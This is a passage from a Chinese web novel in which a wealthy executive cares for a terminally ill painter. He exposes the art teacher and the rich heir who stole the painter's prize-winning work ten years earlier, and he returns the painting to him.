凉风掠过,扬起窗台的薄纱。 沉默在室内蔓延。 明明交握着双手,呼吸靠近,两人却好似隔着银河般的天嵌,静静僵持着。 陆宴没有出声,尽管看不见,但季南星依然感到黑夜中那一道灼热的、认真到近乎把人装进眼底的注视落在自己身上。 一如既往的陆宴式的注视,从前季南星为它动容,现在却感到针扎一样的难受与酸胀。 “忘了吧,陆宴。” 他又一次说。 依然没有回应。 落在身上的视线久久没有挪开,季南星缓慢地眨了眨眼睛,像是终于做出决定一样,从陆宴手中抽回了手。 空气一顿,陆宴的呼吸颤抖了几秒。在季南星看不见的地方,他手指动了动,像是要追过去,但最终没有。 他静静看着季南星沉默的面容。 依然漂亮的一张脸。 第一次在华务楼下撞见的时候,他就为此不自觉地失神。 尽管见了无数次,看过这张脸上喜悦、担忧、厌恶、冷淡各种情绪,见过各个模样的季南星,陆宴依然不得不承认,这张脸、这个人对他有无法解释的吸引力。 这种致命而奇异的吸引力没有由来,就像他最初的疑惑一样。 许桓哭天抢地寻死觅活,好像只要季南星点点头,他就可以马上毫不犹豫地去死。只要季南星愿意回头,只要季南星愿意看他一眼。 当时他不屑又困惑。 可现在,他也一样为此沉迷。 他见过季南星冷漠拒绝徐青的样子,也亲眼见过徐青落寞悲伤的道别。 现在,季南星冷淡沉默的表情和那天没有不同。 只是,被拒绝的人变成了自己。 陆宴不知道自己现在的表情是不是也一样落寞。 或许稍微好一点的消息是,他还不至于悲伤。 因为季南星只是要他忘记,不至于嫌恶,也不至于赶他走。 他依然留有待在他身边的权利。 他像个贬低对手而得意的小人,只要一点点胜出的优势就足以让他满足。 夜风掠过,月晖下,季南星清亮的眼眸闪烁着微光。 许久。 陆宴吻了吻他轻颤的眼睫,终于如他所愿,低声承认: “好,是我醉了。”《 》 16、第16章 初吻轻轻揭过。 那个带着酒味,却没有一丝一毫醉意的吻,就这样封存在那天的黄昏里。 谁也没再提起,谁也没再越界。 陆宴还是那个陆宴,照常来病房打卡上班,监督季南星吃药,使用钞能力在全球范围内摇人,最顶级的医生流水似的送过来,日复一日,没有停歇。 三天后,季南星的视线终于恢复正常。 将近半个月的时间,他慢慢习惯了灰暗和模糊。 以至于恢复视觉的瞬间,陆宴清晰而极具冲击性的五官凑近的时候,他下意识屏住了呼吸。 瞳孔骤然收缩,他慌乱地别开眼,刚侧过头,便被陆宴握着下巴轻轻掰过来。 “躲什么。” 眼神飘忽,季南星不太自然地应了声,说:“离太近了。” 话音一落,两人都明显僵硬了几秒。 但很快,陆宴松开他,平静说:“以后不会了。” 是他想要的答案,但季南星隔了几秒才说:“……好。” vip病房与10天前相比并没有什么不同,硬要说的话,大概是陆宴的办公桌上又山一样地叠起一堆文件。 他依然很忙,但依然没有缺席过一天,依旧是那个寡言疏离的热心市民陆先生。 只是很偶尔,两人视线对上的时候,都会不由得怔愣几秒,而后什么都不说,默契地错开眼神。 一切如旧。 但视线恢复以后,季南星的情况并没有好转多少。 病症以分秒的速度,在蚕食他的血肉,折磨他的灵魂,任何灵丹妙药都无法挽回。 精神稍好一些后,季南星说想画画。 医生点了点头:“画画倒不妨碍,但还是得适当休息,不要画太久。” 季南星轻笑着应下。 生命的尽头,他只是想重温一下少年时未竞的梦想,倒不至于真要当梵高。 说是这么说着,但等摆好画具,调好颜料的时候,他还是很高兴。 肉眼可见的、前所未有的开心,他疲惫的眼底带着轻浅笑意,在日光下懒洋洋地舒了一口气,像晒着太阳的卷毛猫,整个人明媚不少。 他眼底的笑意像太平洋的海水一样满,受他沾染,陆宴脸上冷硬的线条也显得柔和。 季南星洗好了画笔,挑好了颜料,满心希冀,兴致勃勃地在画布上落下一道线条。 而后,动作僵住,笑容凝固。 他精心准备,期待了许久。 可画布上,只落下一道弯曲的、凌乱的、毫无章法的线条。 曾经14岁拿下图登艺术奖的少年,如今连笔都握不稳了。 之后一周,季南星的病情急转直下,恶化的速度让所有人始料未及。 半个月前,在太阳下笑吟吟眯着眼睛的季南星,得意地介绍自己画作的季南星,跟峰哥说笑打闹的季南星,好像被记忆留在原地,从此消失,再也不见。 他越来越多地沉睡,醒了也没什么精神。 阿姐担忧地望着他,季南星躺在床上疼得说不出话,却还是用气声安慰她:“只是困了,没那么疼的。” 其实疼死了。 四肢百骸,钻心刺骨的疼。 他像是一朵已经枯萎的郁金香,花蕊早已凋零,精神早已涣散,只剩躯体还在苦苦支撑。 医生说,第二个月,进入倒数阶段后,这样的情况会越来越多,让他们早做准备。 准备? 陆宴拒绝做这个准备。 成年以后,他几乎不求陆志华任何事情,但那天晚上,他没有一丝犹豫拨通了陆志华的电话。 某天深夜,外面刮起大风,呼啦作响。 季南星躺在床上,看着洁白的天花板,突然开口道:“时间过得好快啊,都七月份了。” 陆宴走过来,帮他捻好被子,“别瞎想。” “没瞎想。”季南星牵强地笑了笑,“之前阿姐说,刘家的小儿子要在滨海广场办画展,时间在九月初。” 他侧过身看向陆宴,眼神带着请求,“陆宴,到时候,你替我去看看吧。” 陆宴看着他的眼睛,不知道为什么嘴唇有些抖,“我陪你去。” 季南星缓慢地扯出个难过的笑来,“你知道我去不了的。” 陆宴呼吸变得滞重,他握住季南星冰凉的手,低哑的声音微微发颤,“好,我替你去。” “嗯,你要去。”季南星轻声应着,声音越来越弱,“你要去,记得要去看看我的画。” * 于晨干总助多年,办事利索,没多久便把季南星以前的事查清楚。 “季先生从小就表现出惊人的绘画天赋,中学时期随手的绘画作品被一个工作室的老师偷偷送去参赛,以自己的名义拿了奖。但这事做得隐秘,没几个人知道。” “十年前,图登学院将图登艺术奖扩展至全年龄阶段。这个叫刘同的老师将季先生的画作卖给xx地产董事长的小儿子。这副画作当年夺魁,媒体报道不少,季先生在事发一年后才知道。他在网上找了律师咨询,但并没有取得进展。” “刘同后来出国深造,前两年回来了,似乎在筹备什么艺术展,最近在和滨海广场文化空间商谈,想在艺术馆开展。” 报告完毕,于晨主动补充道,“我们需要做什么吗?” “不用。”陆宴缓缓开口,声音低沉:“先让他谈。” 于晨了然:“好的。” 陆宴还看着他,于晨继续汇报道:“那位富商的儿子叫刘勤庚。刘同跟他们家有点亲戚关系,但不近。刘勤庚从小学美术,但天赋一般,胜在努力,成绩还不错。获奖后,他凭借这个奖项拿到顶级美术学院snu的offer,现在正在美国深造。前两年在a市办过展览……” 他话音停住了,有些迟疑。 陆宴:“有什么就说。” 于晨心里叹了口气,硬着头皮继续说:“前两年,刘勤庚在a市办过展览,是……是华务文娱鼎力支持办下来的。” 华务集团这几年进军娱乐产业,前几年一直引进海外文娱大亨来华发展,艺术展和美术馆也在规划之列。 “刘勤庚是a市本地人,年纪轻轻拿过图登艺术学院最高奖项,本硕都在顶级院校就读,身份、学历、成就都符合华务文娱的定位标准,文娱那边的人也是按规定办事。”于晨替分公司的员工解释道。 这种买画造假的事在艺术圈不算稀奇,大多数时候大家睁一只眼闭一只眼也就过去了,只要明面上过得去,展子办得好,大部分人都不会计较。 谁能想到十年过去了,突然有个倔驴偏要翻过去的旧账。 于晨跟了陆宴六年,大部分时候都能和陆宴同频,毫不夸张地说,陆宴一个眼神,他就知道谁要发财谁要倒霉。可纵然他跟了陆宴这么多年,也没想到他会突然对一个大限将至的陌生人上心。 更不必说,这个陌生人还是自己弟弟的前男友。 “这个刘勤庚今年硕士二年级,明年毕业,目前在跟滨海广场筹备毕业画展的事宜。” “让他回国。”陆宴冷漠道。 于晨眼皮一跳,又问了一嘴:“让他回国的意思是……?” 陆宴将放在桌上的照片拿起来仔细端详,照片上的季南星勾着嘴角笑得明亮,那天下午的季南星也短暂地露出过这样的笑容。 “意思是,他不用毕业了。还需要我说得再清楚吗。” 于晨被这冷冰冰的话冻得一个哆嗦,连忙应下:“好的陆总,事情我会尽快安排。” 上司心情不美好,于晨不敢多留,规规矩矩把剩下的事汇报完,正要告辞,却被陆宴喊了回去。 “我要那幅画。” 于晨用了几秒才反应过来,恭敬道:“那副画作已经在运送的路上,最迟后天就能到,您看是运到公司还是……” 陆宴沉思了会,本来想说运到医院,但想了想还是选择送到家里。 少年时被剽窃的心血之作,他怕季南星看了会难过。 * 后面几天,季南星还是那副不爱动弹的模样。 医生说他的情况越来越糟糕,他每天早上都在疼痛中醒来,胃口越来越差,有时候明明只盖了一条薄被,却总说身上很重,压得胳膊疼,浑身都没有力气。 进入七月,台风天越来越频繁,硕大的雨滴落在阳台拍打出巨大的声响。 季南星百无聊赖地数着雨滴,突然歪过头,朝陆宴说想出去淋雨。 他声音很小,也没有力气,被雨声盖住了,陆宴没听清,他又说了一遍,这会说得大声了点,脸上也带了点笑意。 陆宴当然不可能让一个病患去淋雨,说:“不可以。” 季南星不意外他的回答,又听了一会雨声。 雨声渐渐消减,从巨大的嘀嗒声变成淅淅沥沥的声音,季南星说这听着很像山里的小流水,很好听。 陆宴静静听他说很多事情。 他说他高中的时候有绘画社团,有时候老师会带他们去山里采风,雨后的森林里,流水的声响就和现在一样。 季南星不喜欢自己的专业,也不喜欢自己的工作。 航天事业听上去高光伟大,但却封闭、无情,有时候耗尽了全力,完不成的实验就是完不成,做不到的设计就是做不到,天赋平平的人踏上这一条路,只能仰望天才们的背影,一辈子都无法望其项背。 他看着绵长不断的雨幕,长睫垂下来,“这辈子,想要的,好像什么都没得到,什么都没做成。” 雨彻底停下来的时候,季南星请求陆宴把他推到阳台去看雨后的树。 树叶上的水滴在他们发上,季南星抬手接住那水珠,看着乌云后即将散出来的光,突然问: “陆宴,你这辈子有过遗憾的事情吗?” 陆宴堪堪接住即将落到他脸上的一滴水,很快说:“我不知道遗憾是什么。” 季南星笑了笑,像是不意外他的回答,只是这笑容看上去有些落寞。 “这很好,希望你永远都不要知道,也永远都不要有。”《 》 17、第17章 台风过后,a市航线恢复正常。 某天,医生兴高采烈地推门进来,身后跟着一个金发碧眼、满脸褶皱的外国教授。 季南星对医学界一知半解,但因为自己患病,对全球范围内的大拿也颇有了解。 这位美国的普金森教授,临床和科研两手抓,是这个方向公认的学术泰斗,地位十分权威。 医生欢欣雀跃,说普金森教授碰巧到a市开讲座,有空就过来看看,言语间就差没把季南星走了狗屎运挂在嘴上。 季南星当然不相信世界上有这么巧的事。他一边做检查,一边用询问的目光看向站在床边的陆宴。 陆宴脸色不变,就好像全然读不懂他的目光一样,低声嘱咐他别走神,认真配合检查。 半个月后,季南星勉强能握住笔,虽然不能像往常一样,但至少能保证线条的稳定性。 在铺完色,并成功画完一幅基础风景画后,季南星终于又露出了陆宴期待见到的那种笑容。 画上的湖面波光粼粼,摇摇晃晃的光透过树叶洒下来,在绿意盎然的草地上映出一片斑驳的光斑。 就像现在,阳光也这样落下来,在季南星苍白的侧脸洒下一阵树的影子。 季南星对“复健”后的首幅画作好像很满意,又好像不那么满意。 他在画布上修修改改,可凑近一看,又似乎不是改,他忙活了半个小时,只是在湖面前的草地上,添了个格格不入的、穿着风衣的男人背影。 陆宴隐隐猜到那背影是谁,他心潮有异样的情绪涌动,却不敢开口去问。 但季南星坦坦荡荡地告诉他答案,他在阳光下回头,亮光照得他整张脸苍白又温和。 “陆宴,谢谢。” 陆宴看着他闪着亮光的眼睛,喉头滑动,好像有很多话要说,可临到头,说出口的却也只有简单又轻飘飘的几个字。 “不客气。” 陆宴终于为他最初的好奇找到答案。 答案和他为什么要把那张青涩的证件照放在桌面上的原因一致。 他固执地认为季南星应该是这样闪闪发光的样子。 如果可以一直看到这样明亮的季南星,就算明天华务集团真的倒台,他也可以接受。 如果可以置换选择,他愿意用自己全部的财产和集团的未来换取季南星的健康、寿命和快乐。 当然,他不能真的一无所有,他需要继续赚钱,不用很多,但也不能太少。 最好开一个不大不小的公司,足够陆宴维持生计,又不那么繁忙,也足够他买一个有大阳台的、温软大床的房子。 因为季南星很爱睡觉,也喜欢在阳台看风景,画树叶。 * 七月半过后,很快到了肖雯的生日。 季南星在得到医生同意后,准备趁走之前,给肖女士过最后一个生日。 住院一个多月,季南星瘦了十几斤,本就消瘦的身形,现在薄得像一片纸,风吹过都会剧烈咳嗽。 “墓园靠海,风大,还是要多穿点。”阿姐细心地叮嘱着。 季南星虚虚笑了声:“大夏天的,已经穿两层了。” 阿姐:“那也要穿。” 她不由分说又往袋子里装了食物和水,倒不像是要去扫墓,像是要去露营野餐。 但阿姐收拾了半天,终究没陪季南星出门。 十分钟后,司机缓缓驶向滨海墓园。 后座,失踪了三天的陆大总裁忙碌地处理邮件,季南星昏昏欲睡。 “其实我自己去就行,不用麻烦你跑这一趟。” 陆宴回完最后一封邮件,道:“忙完了,可以和你去。” 季南星想说,其实那只是我妈,我们不是非要一块去的。 虽然最后也没说。 肖女士的墓碑很好找,在园里最漂亮的位置,靠着海和一块小花园。 “花。” 陆宴变戏法似的掏出一束白色的郁金香。 季南星看傻了:“哪变出来的?” “顺路买的。”陆宴淡淡道。 白色郁金香,正巧是肖女士生前最喜欢的花。 季南星狐疑地瞧了他几眼,陆宴之前为了许桓,把他的资料查了个底朝天,知道肖雯的生日和喜好不奇怪。 但他最近忙得昼夜颠倒,听于助理说,这三天来回飞,忙得没影了,总不能刚下飞机就马不停蹄去准备这些。 “谢谢,她很喜欢郁金香。” 除了郁金香,还有一个粉蓝相间的蛋糕,是季南星准备的,和多年前他给肖女士买的第一个生日蛋糕很像。 肖雯过生日很少吃蛋糕,不是不爱吃,是从前她一个人,既要还亡夫的赌债,又要拉扯一个小孩长大,实在腾不出多余的钱买。 她自己不过,但季南星生日的时候,还是无论如何会买一个小蛋糕,插上蜡烛,把小南星抱在膝盖上,温柔地哼着生日歌。 高中时,季南星靠卖画,攒了一些钱。 肖女士生日当天,他买了个蛋糕,等肖雯回家。 可惜,她回来时已经过了零点,人喝得烂醉,一进门大声挑刺骂道: “大半夜不睡觉开着灯干嘛,电费不是你交是不是?” 那时季南星很久没喊过她妈妈,于是说:“昨天你生日,我买了蛋糕。不想吃的话,就扔了吧。” 肖雯的酒似乎醒了一会,迷蒙的眼睛突然亮了一下,又很快落寞下去。 “买什么蛋糕,花这钱……” 季南星没说话,拎着书包进了房间。 那天晚上客厅的灯亮了很久,中途季南星出来的时候,发现蛋糕挖了一个小角。 肖雯坐在沙发上,海藻一样的长发散下来,捂着眼睛,肩膀颤抖,像是在哭。 * 从墓园出来后,季南星身体疼得站不住,几乎整个人倚在陆宴身上。 明明是将近一米八的个子,侧腰却薄得好像一握就能掐断,他微弱的呼吸吐在陆宴侧脖颈,缓慢、虚弱,好像下一秒就会沉沉睡去,消失不见。 一路被陆宴抱回车内,季南星强撑的精力彻底耗尽,没一会就陷入沉睡。 他低垂着头,侧脸笼在窗边暖黄的日光里,珠白的后颈没入衣领,煞白的脸上两道细眉微微蹙起,睡得很不安稳。 指腹掠过他紧闭的眼睫,陆宴缓慢把他放到自己膝上,朝司机说:“开慢点。” 车辆缓慢行驶,季南星做了个梦。 梦里,他回到了6岁生日那天。 那时父亲的赌债像一个巨大的窟窿悬在上方,肖雯无处可发的怨愤都倾泻在他身上。 但生日那天,肖雯却态度一转,又变成那个偶尔慈爱的母亲。 她为季南星穿上不合身的小西服,笑着亲吻他的头发,温声道:“小宝,今年妈妈带你去个超级漂亮的地方过生日!” 他跟着肖雯来到一个巨大的庄园别墅。 前厅布满鲜花气球,礼花洒下,隆重的音乐声和人群的欢呼声交杂在一起,像极了城堡王子公主的生日宴。 但盛大不属于季南星。 穿过狭长的回廊后,肖雯将他放在花台边,蹲下来嘱咐道:“在这里等我,哪儿也不准去,等妈妈回来找你。” 季南星在花台等了很久也没等到肖雯,也不敢乱走。 他蹲在原地,突然眼前出现一双小皮鞋,视线往上,他看见一个板着脸的小大人。 小大人穿着西装系着红色的领花,冷冷说:“你在这里做什么。” 季南星揉了揉眼睛,软声说:“我妈妈不见了,哥哥,你能带我去找妈妈吗?” 小大人盯了他一会,神色冷淡。 季南星睁着大眼睛望向他,“可以吗,哥哥?” 小大人别扭地撇了撇嘴,脸色很臭,最后还是不情不愿抓着季南星的手,带他去找人。 少顷,离开许久的肖雯回来。 她看到季南星和陌生人在一起,霎时大惊失色,话都没没说一句,连忙抱起季南星,逃一般地离开了庄园。 季南星对小时候的记忆很模糊,断断续续想起来,才发现那一年的生日宴原来不是他的生日宴。 只是凑巧,肖雯有个朋友的小孩也是那天过生日,便把季南星也带过去,沾个光。 他迷迷糊糊转醒,想起这段记忆,又看着近在咫尺的陆宴的脸,突然脑子一抽: 梦里那个板着脸的小大人,跟陆宴长得……有点像。 “醒了?好点了吗,休息好了,我送你回去。”陆宴扶着季南星坐起来。 季南星甩了甩头,“我睡多久了?” “没多久,一个小时。” 车辆停在一个宽阔的广场,是a市著名的滨海广场。 季南星刚刚歇过,补了一些精神,下来沿着海滨路逛了一会。陆宴不太赞同,但看他状态还不错,也没再说什么。 路过艺术展览厅时,季南星顿下脚步。 巨大的led大屏和悬挂海报,正大张旗鼓地预热著名青年画家刘勤庚的个人艺术展。 不巧,旁边的小厅上也挂着宣传海报,国内知名艺术工作室主理人刘同老师的画展下周展出。 偷梁换柱的富二代、剽窃学生作品的无良老师……开画展都开到一块儿去了。 季南星唏嘘。 这两人混得风生水起,在艺术界发光发热,尤其是刘勤庚,这些年算是青年画家中的翘楚,年纪轻轻,大奖傍身,名校光环堆叠,前途一片光明。 不像他,笔都拿不稳,命也活不长。 海报上刘勤庚腼腆的笑显得刺眼,季南星刚想走,身后传来冷清的声音。 “你还记得他们吗?”《 》 18、第18章 “你还记得他们吗?” 陆宴平直的目光落在他脸上,依然是平静淡漠的模样,“十年前,图登艺术奖的获奖者,应该是你。” 季南星愣了愣,没想到陆宴查得这么深,“……怎么这你也知道啊。” “你身上发生的事情,我都想知道。”陆宴说:“刘勤庚凭借图登艺术奖申请了snu,这些年发展很好。。” “虽然没特地去搜过,但刘小少爷名声大,多少知道一些。他九月份要回国办展,时间上……不太凑巧。” 季南星浅笑着,眼里露出几丝惋惜,但很快被笑容掩盖下去,“要是再早半个月就好了。” “你希望他们得到什么样的惩罚?” “你说什么?” 陆宴又重复了遍,漆黑的眼眸深沉地看着他,眼底带着天真的固执,看上去不像开玩笑。 季南星愣了会,才说:“事情过去那么多年,该放下也放下了,执着这些陈年旧事……也没什么意义。” “如果非要执着呢。”陆宴固执道。 拗不过他,季南星失笑了声,“陆先生,你是凡人,不是天上的神仙,不用这么费心尽力去帮别人鸣不平的。” 陆宴几乎毫不犹豫:“我只当你一个人的神仙。” “……” 季南星哽了一下,别过头,眼睫快速眨动,像振翅的蝶。 不等他说什么,街对面突然传来阵阵骚动。一群记者拥挤在展览馆前,吵吵闹闹。 展厅大门缓缓走出一个戴口罩的人影。 正是话题里的刘勤庚。 “刘勤庚出来了,快快快,拍人拍人!” “刘先生,传闻图登艺术组委会正在考虑撤销您的获奖荣誉,对此您是否知情?” “针对此前您剽窃作品获奖的新闻,您有什么回应?” “佩兰教授声称与您再无师生关系,snu也发文调查您的本科入学资格——刘先生!刘先生……” “让让、让让!抱歉,私人行程不设记者提问环节!” 经纪人和安保拦开外围的记者,刘勤庚戴着口罩在人群中举步维艰。 “图登艺术奖的画作是剽窃来的,请问是否属实呢?” “有匿名人士举报您大学期间的画作均从他那购买所得,展览作品无一原创,请问您有什么回应?” …… 铺天盖地的质问声涌上来,刘勤庚头晕目眩,耳膜一阵刺痛,重叠的人影像厉鬼的吼叫,他哆哆嗦嗦道:“不是我、不是我……不是我干的,都是刘同的错,是刘同!你们去找刘同!” “刘同的个人工作室于昨日人去楼空,有人举报他曾聚众赌博吸毒,请问您和他是什么关系?是否参与到那次吸毒中?” “有传闻称,刘同多年来找枪手替你完成作品集申请国外院校,情况是否属实?” 刘勤庚是a市人,父亲是a市著名企业家,这些年,没少在a市给刘勤庚做宣传,加上他个人形象不错,几番流量操作下来,一跃成为青年艺术家中的典范翘楚。 前段时间,刘勤庚回国参加一个热门综艺,刚在节目里大卖文艺工作者的人设,大谈艺术,聊求学理想,聊当年的图登艺术奖。 结果节目刚播出,正在大热的时候,突然爆出剽窃、抄袭、找枪手这样的丑闻…… 个人展览被撤、学历也岌岌可危,更有吸毒的丑闻亟待解决,刘家这十年为他铺的路,算是彻底断了。 这通闹剧吸引了不少围观群众,里三圈外三圈地看热闹。 “是不是之前那个小明星来的?我在节目上看到了,白白净净的,听说学历很高啊,怎么会这样……” “什么小明星,人家粉丝都说了,他家哥哥是画家,不是混娱乐圈的,你懂不懂!” “真偷作品啊?我没咋吃这个瓜,锤了吗锤了吗?” “锤得不能再死了,连买画的交易证据都挖出来了!当事人一开始还不知道自己的画被偷了,是看了新闻才知道的……啧啧啧,他也真能安心啊,偷人家作品拿奖去留学,跟偷了别人的人生有什么区别?” “是啊,snu因为他拿了图登艺术奖,不仅给了全额奖学金还有一笔创作奖金。听说原作者只是个普通高中生,律师费都交不起,要是他没偷人生,搞不好现在在snu跟着佩兰画画的就是原主了。” “好惨啊,作品被偷,人生也被偷。那个刘同还把他好多画拿去参赛拿奖了……这个原主是谁啊,十年前是高中生的话……今年也才二十几吧,要不出来认领认领吧,反正我是怜爱了。” 热心群众叽叽喳喳,季南星听了一会,终于理清了前因后果。 恰好卡在这个节骨眼出事…… 他回身看向隔壁不苟言笑的人,扬了扬眉,浅笑问:“热心市民陆先生?” 陆宴目光平静看向前方,巨型海报被工人剪断扯下来,轰隆一声,落在面色苍白的刘勤庚身后。 “偷窃者理应付出代价。”陆宴淡淡看向季南星,“解气了吗?” 说不解气是假的,十年的委屈一朝被揭出来,还是这么轰轰烈烈,昭告天下的揭法,换谁不解气。 “刘同呢?” “聚众赌博、xd,侵犯知识产权……等人抓到了,会再找人照顾他。” 季南星品了品,这个“照顾”大概不是很友好的照顾。 “陆宴,我知道你是为了我,但你的时间、精力远比这些人要宝贵,不要为这些不值得的人浪费心神。” 季南星轻声说着,眼底却透着几分认真。 他是要死的人,活不过八月份。 但陆宴不一样,他的心意、他的时间远比这些烂人、烂事要珍贵得多。 季南星不想他因为自己缠上这些烦心事,很不值当。 但陆宴显然不这么想。 他静静注视着季南星,没有接他的话,只淡淡问:“你开心吗?” 很典型的陆宴式反问。 季南星从前觉得古怪,现在越来越觉得,他这个性格,还……怪可爱的。 他看着对方认真得几乎古板的脸,突然噗嗤笑出了声。 “开心,开心得能原地绕着广场跑三圈。大仇得报,看他们倒大霉,我恨不得放鞭炮。” 他少有这么放开地笑过。 生病以来,他像一朵逐渐枯萎的花,尽管根茎还浸在水里,提供少许生命力,但时间往前流动,水珠散去,花瓣也慢慢蔫下来,药石罔医。 但眼下,他生动的眉眼浅浅笑着,连病容也驱散了许多。 他笑弯了眼睛,耳边听见陆宴似乎说了句什么,但声音被海浪声盖住一点,显得轻柔遥远。 “你开心,那就不算浪费。” 阳光落在陆宴沉静的侧脸上,衬出一种与他平日格格不入的柔和。 光亮减淡了陆宴身上的疏离感,他站在季南星身侧,身后是拍打的蓝色海浪,海风吹起两人的额发,有一瞬间,季南星觉得整个世界都安静下来。 滨海广场的吵嚷,路过车辆的喧嚣,都被听觉隔绝在外,连视线也开始收缩,再收缩,缩得只装得进眼前这张淡然的、轮廓分明的侧脸。 少顷,耳边传来陆宴清冽的声音。 “季南星,你的画,我拿回来了。” 滨海广场是a市cbd,广场中央的艺术展览馆是亚洲最顶级的场馆之一,每年挤破头想在这里办展的艺术家和画家数不胜数。 而现在,展馆的核心展厅紧闭着,挂上“布展中”的牌子。 季南星跟着陆宴推门进去。 室内广阔空荡,展厅中央的白墙上,悬挂着一副硕大的、明亮得刺目的布面油画。 偌大的展厅只此一幅画。 画面上,枯萎的怪树、几近干涸的大海,奇怪扭曲的色调构建出一个错位的世界。画面正中,却绘着一个高悬于天际的、巨轮般的太阳,磅礴的、热烈的光线像圣光落下,成为扭曲世界里的唯一温暖光芒。 这就是《晖光》,季南星人生第一幅,也是唯一一幅真正意义上的心血之作。 时至今日,站在这里,他还能想起那时的心情。 那时他还天真地怀揣着一点作画的梦想,认为只要申请到图登学院的奖学金,加上他自己兼职赚钱,或许依然可以走上艺术这条路。 可申请表还没交上去,就被肖雯撕烂。 她撕心裂肺地大喊:“你休想,天天琢磨这些画画画,画画能挣几个钱!艺术……艺术哈哈哈,艺术有什么出路?穷人搞艺术要出头就是去卖、去给那些有钱人当狗、被他们玩弄、践踏!你想念书,想摆脱我,可以,你去天南地北,出国出海,去哪都行,就这个,不行!” 季南星和肖雯大吵一架,最后挨了肖女士狠狠的一巴掌。 她咬着牙哭喊:“你就非要走这条路吗!” 季南星垂着头,将地上撕碎的表格碎片捡起来,缓慢坚定道:“是,我要走。” 肖雯哭红的眼睛倔强地看了他很久,最后什么都没说,甩上了房门。 次日一早,季南星在客厅桌上,看到了一张打印完好的,已经署好监护人签名的申请表。 但最终,季南星也没拿到那份奖学金。 明明已经收到了通知邮件,临到公示的时候,又说系统出了错,颁给了市中心某贵族高中的一名同学。 对大部分人来说,图登奖学金是cv上一项耀眼的荣誉,锦上添花。 可对当时的季南星来说,是救命稻草。 救命稻草飞了、没了,季南星回家以为要面临肖雯的冷嘲热讽。 但没有,肖女士难得什么也没说,自然也没说什么安慰的话,只是久违地给季南星做了一顿家常菜,让他吃完饭再去写作业。 当天晚上,季南星躺在床上,反反复复睡不着。 半夜的时候,许桓约他出去,两人坐在公园的长椅上,看着黑沉的天和明亮的月,等着月晖一点点散去,等着第二天的朝阳按时升起。 日出以后,季南星回家,画出了《晖光》。 兜兜转转了十年,这幅画终于回到他眼前。 只可惜,物是人非,画还是那幅画,人已经没有当时的朝气。 季南星在画墙前沉默许久,久到陆宴以为他撑不住的时候,他终于转过身,抬起眼帘,前所未有地认真地看向陆宴。 “我曾经以为,我这辈子到死都没法再见到这幅画,但现在……” “陆宴,我没有遗憾了。”《 》 19、第19章 一周后,外逃的刘同落网,以贩毒、聚众吸毒、赌博、侵占知识产权等众多罪名移交检察院。 刘勤庚下场也好不到哪儿去。多年营造的温润公子人设坍塌,又锤死了吸毒的丑闻,学历造假,被北美艺术界拉入黑名单,国内也声名狼藉。 除此之外,近些日子,季南星陆陆续续收到一些莫名其妙的道歉短信。 署名很陌生,游子钦、卢仁家、方文……乍得一看觉得毫无印象的名字,可往记忆里刨一刨,却能跟十年前那群恶劣嬉笑的嘴脸一一对上。 涂鸦上的几个刺头,十年前把季南星关在女厕所一整晚的始作俑者,在十年后的某个下午,突然良心发现,一一发来道歉短信寻求原谅。 季南星当然不相信霸凌者迟来的良心。 他冷淡关闭页面,登上社交账号,果不其然又是一连串的好友申请,言辞恳切,恨不得原地切腹自尽一样地真诚。 一一拉黑,季南星心里已经有了猜测。 有刘勤庚和刘同的事在前,猜也猜得到又是陆宴的手笔。 不知道为什么,陆宴对满足他的愿望、弥补他的遗憾这件事尤其执着,像块固执的大石头,劝不动,也说不听。 就跟他最初不管不顾偏要救季南星一样,一条路走到头,油盐不进,谁的话也听不进去。 他头疼地叹了口气,话还没说一句,沙发上的人突然蹭一下跳了起来。 “怎么开始叹气了?哪里不舒服是不是,我给你喊喊医生?诶,不对啊,我自己就是医生……但我不是你这个方向的,我还是给你喊医生吧,你要真出了什么事,陆宴回来不得拿刀砍我啊。” 身侧的人叽叽喳喳说完,季南星连连拦下他:“没事没事,张医生,你冷静点。” 张昊火急火燎的脚步停下来,“真的没事?你这小眉头都皱起来了。” 听完,季南星眉头拧巴得更厉害了。 最近几天,陆宴很忙,跟人间蒸发了一样,风风火火请完假,连续三天都见不着人影,连信息也十几个小时没回。 他人不在,之前在他家见过的张医生倒是常来。 也不知道陆宴跟张昊交代了什么,张医生简直把他当国宝一样,打个喷嚏、皱点眉头都如临大敌。 他无奈笑了笑:“张医生,你再这样,我这眉头拧起来,能比卡瓦格博的沟壑还深了。” 张昊也很无辜,“没办法,陆宴有事不在国内,我好歹也是他十几年的发小,替他看护好你是应该的。” 这些天,按照陆宴的交代,他每天朝九晚十来季南星病房报道,比996的牛马还尽心尽职。 陆宴一生没什么感情,难得对某个人上了心,作为他为数不多的朋友,张昊就是一周不眠不休007也理应把嫂子伺候好。 眼下,嫂子静静坐在病床上,白玉一样的脸上就露出无奈的浅笑,温润恬静,像月光一样柔和。 “真的没事。其实你不来也可以,我这边还有阿姐在,出不了什么事的。” 声音也清润好听。 难怪陆宴铁树开花,老房子着了火。 霸道总裁的病弱白月光,老套的剧情,但确实有点说法。 张昊摆摆手,“没事没事,我一天也没事干,过来陪你说说话也好,不然真放你一个人,陆宴肯定不放心的。” 白玉般的青年笑容陡然一僵。 季南星一杯水没喝完,搁下来,终于察觉到张昊这几天的诡异之处。 张医生,是不是误会了什么? 他双手捧着水杯,却没喝,转而抬眼,眼神闪烁,声音迟滞。 “……张医生,我和他不是那种关系。” 张昊刚开了一局游戏,一听这话,手猛的一抖,原地交了个闪现,手忙脚乱一波团打完,一看输出个位数。 人物阵亡,画面黑灰。 他嘴巴和脑子一样乱,干巴巴道:“不是、我那个……就是,我没别的意思啊,你别误会,我没说他喜欢你啊,你可千万别误会!他那人就是……额,人比较好,心善,善良,特别爱关心人,看到谁生病都要关心两嘴的!” 季南星看着他僵硬的嘴角,心想他看上去挺言不由衷的。 他想了一会,迟疑问道:“张医生,您跟陆总认识很久了吗?” 张昊留了点戒心但不多,“有十几年了,怎么?” “也没什么。”季南星斟酌了会措辞,“陆宴……他帮了我很多,我很感谢他。但我跟他毕竟才认识两个月,虽然勉强算得上是朋友,但也不太熟。” “我只是很好奇,他对朋友都这么好吗?” “……” 死亡疑问劈头盖脸落下来,张昊手里的人物嘎巴一声,又一次阵亡。 病床上的人双手捧着水杯,一双茶色琥珀般剔透的眼珠亮晶晶地望过来,张昊只能匆匆别开眼。 “他、他对朋友确实是挺好的。”他含糊应了声。 季南星还好奇地盯着他。 张昊手忙脚乱,手里的人物像无头苍蝇一样绕着峡谷打转,最后喜提被大龙喷死。 再次阵亡,游戏结束。 